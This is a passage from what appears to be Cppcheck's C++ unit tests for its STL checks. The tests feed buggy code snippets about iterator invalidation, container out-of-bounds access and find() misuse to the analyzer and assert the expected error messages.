{\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { 